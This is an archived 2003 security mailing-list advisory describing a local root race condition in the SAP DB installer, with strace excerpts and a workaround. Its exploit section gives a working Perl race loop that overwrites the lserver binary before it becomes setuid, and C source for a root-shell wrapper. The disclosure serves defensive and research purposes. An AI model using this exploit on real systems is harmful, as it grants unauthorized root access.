[Full-Disclosure] SAP database local root vulnerability during installation. (fwd)

From: Larry W. Cashdollar (lwc@vapid.ath.cx)
Date: 04/23/03

  • Next message: bugzilla@redhat.com: "[Full-Disclosure] [RHSA-2003:032-01] Updated tcpdump packages fix various vulnerabilities"
    From: "Larry W. Cashdollar" <lwc@vapid.ath.cx>
    To: <full-disclosure@lists.netsys.com>
    Date: Wed, 23 Apr 2003 11:34:13 -0400 (EDT)
    

    This is an older (moot) vulnerability that I discovered which was never
    released, the vendor has fixed it. It is similar to what KF at snosoft
    discovered recently in the current version of SAPDB.

    Vapid Labs
    SAP database local root vulnerability during installation.
    December 10, 2002

    I. BACKGROUND

      SAP DB is a Free Enterprise database (http://www.sapdb.org). An
    exploitable race condition exists during installation that can be won to
    yield root to a local malicous user. An executable is world writeable
    before a setuid bit is set by the installation program. This condition
    exists for both the production version 7.3.0.29 and the beta version
    7.4.3.7 beta (www.sapdb.org/tgz_linux.htm).

    II. DESCRIPTION

      Installation of the SAP database is done by the binary SDBINST. This
    first uncompresses the files, changes permissions and then runs a file
    integrity check. Once this check is completed setuid bits are added to
    two files. A large gap between this check and the setuid operation exists
    (a few seconds at i least). This gives us ample time to change the
    contents of the pre-setuid file.

    For the production 7.3.0.29 version:

    Before the setuid root bit is set, a log file is written to that a normal
    non-privilidged user can read. This file was located in
    /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/.
     We simply watch that file for what is written to it just before the call
    to chmod and copy our malicious code over the target binary.

    Below is a partial analysis of SDBINST.

    chmod("/usr/sapdb/depend/pgm/lserver", 0100777) = 0

    .
    .
    .

    open("/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST7aad69a8$O_WRONLY|O_CREAT|O_TRUNC,
    0666) = 3
    fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
    fcntl64(0x3, 0x2, 0x1, 0x401a6ce0) = 0
    fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
    old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
    0) = 0x40024000
    write(3, "\"lib/libsqlca.a\" f1d67919f97aa15"..., 4096) = 4096
    write(3, "/PRECOM.ins\" 6e00ace2afd80ec50a1"..., 4096) = 4096

    .
    .

    chmod("/usr/sapdb/depend/pgm/lserver", 04775) = 0

    For the Beta 7.4.3.7 version:

    All of the files are checked for data integrity before the setuid bit is
    set, the installation no longer writes to a log file during this
    operation. It appears that just before the setuid bit is set a directory
    is created /opt/sapdb/depend/wrk. It proved more difficult to win the
    race using this directory creation as an indicator to copy our file over.
    I was able to win the race with a timed copy after the last file had been
    written from the archive and just before the integrity check had finished.

    Below is an analysis of the installation program SDBRUN.

    chmod("/opt/sapdb/depend/pgm/lserver", 0777) = 0
    .
    .

    20224 stat64("/opt/sapdb/depend/wrk", 0x8150c20) = -1 ENOENT (No such file
    or directory)
    20224 stat64("/opt/sapdb/depend", {st_mode=S_IFDIR|0775, st_size=4096,
    ...}) = 020224 mkdir("/opt/sapdb/depend/wrk", 0775) = 0
    20224 chmod("/opt/sapdb/depend/wrk", 0775) = 0
    20224 stat64("/opt/sapdb/depend/wrk", {st_mode=S_IFDIR|0775, st_size=4096,
    ...}) = 0
    20224 chown32(0x872b640, 0x5456, 0x5456) = 0
    20224 chown32(0x88c3f88, 0, 0x5456) = 0
    20224 chmod("/opt/sapdb/depend/pgm/dbmsrv", 04775) = 0
    20224 chown32(0x88c4870, 0, 0x5456) = 0
    20224 chmod("/opt/sapdb/depend/pgm/lserver", 04775) = 0

    III. ANALYSIS

    Local attackers can exploit this vulnerability to gain root access
    on a targeted system. The attacker would have needed previous knowledge
    of the system administrators SAP installation. To exploit the 7.4 beta
    version of this software an attacker would need to have a good idea of the
    target systems hardware type and speed.

    IV. EXPLOIT

    #!/bin/perl

    while (1) {

        $test =`grep -sh PRECOM.ins
    /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

        if ( $test =~ /PRECOM/ ) {
            system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
            exit(1);
        }

    }

    The code we would rather have in place is:

    ---- run.c -----
    /*##Larry W. Cashdollar, lwc@vapid.dhs.org
     *##This is just a wrapper to boost our privs from euid(0) to uid(0)
    guid(0 */

    #include <stdio.h>
    #include <unistd.h>

    int
    main (void)
    {
      char *shell[2];
      shell[0] = "sh";
      shell[1] = NULL;
      if (!setreuid (0, 0))
        printf ("We have root, getting sgid perms and spawning shell.\n");
      else
        {
          printf ("Ack, We lost the race.\n");
          _exit (0);
        }
      setregid (0, 0);
      execve ("/bin/sh", shell, NULL);
      return(0);
    }
    ------ run.c --------

    V. DETECTION

    sapdb-server-linux-32bit-i386-7_3_0_29, sapdb-all-linux-32bit-i386-7_4_3_7
    are the versions I used.

    VI. WORKAROUND

    Boot the system into single user mode only and ensure no other users are
    logged in during installation.

    VII. VENDOR FIX

    The vendor was never notified, and this issue was fixed in the latest
    release.

    VIII. CVE INFORMATION

    The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
    has not assigned an identification number to this issue.

    IX. CREDIT

    Larry W. Cashdollar (http://vapid.dhs.org) discovered this vulnerability.

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: bugzilla@redhat.com: "[Full-Disclosure] [RHSA-2003:032-01] Updated tcpdump packages fix various vulnerabilities"

    Relevant Pages

    • [Full-Disclosure] SAP database local root vulnerability during installation.
      ... the vendor has fixed it. ... SAP database local root vulnerability during installation. ... before a setuid bit is set by the installation program. ...
      (Full-Disclosure)
    • SAP database local root vulnerability during installation. (fwd)
      ... the vendor has fixed it. ... SAP database local root vulnerability during installation. ... before a setuid bit is set by the installation program. ...
      (Bugtraq)
    • [Full-Disclosure] Vendor casual towards vulnerability found in product
      ... I am not naming the vendor, product or giving exploit code for now, till I ... and no way of tracing which user has exploited the vulnerability. ... but usually not selected during installation ... Your feedback would help. ...
      (Full-Disclosure)
    • Re: Vulnerability issues with installation of security update kb96
      ... The fact that the vulnerable file is present does not necessarily mean that there is a vulnerability, although I agree that it is an oddity that should be investigated. ... So we then downloaded the actual update (KB969615 which updates the powerpoint viewer 2003). ... Once again if powerpoint viewer 2003 is part of the full powerpoint installation, why does the Microsoft updater not recognize that the program is on the system and update it. ... My question is if the files which allow the viewer to be run on a system, why does the microsoft update not allow the system to be patched. ...
      (microsoft.public.windowsupdate)
    • Re: OT: Laptop sufficent for Vista?
      ... default XP installation because users are created with Administrator ... privileges in XP but nit in Vista. ... The best way I can sum up XP's vile desktop GUI ... The most notable example being the famous WMF vulnerability that ...
      (uk.comp.homebuilt)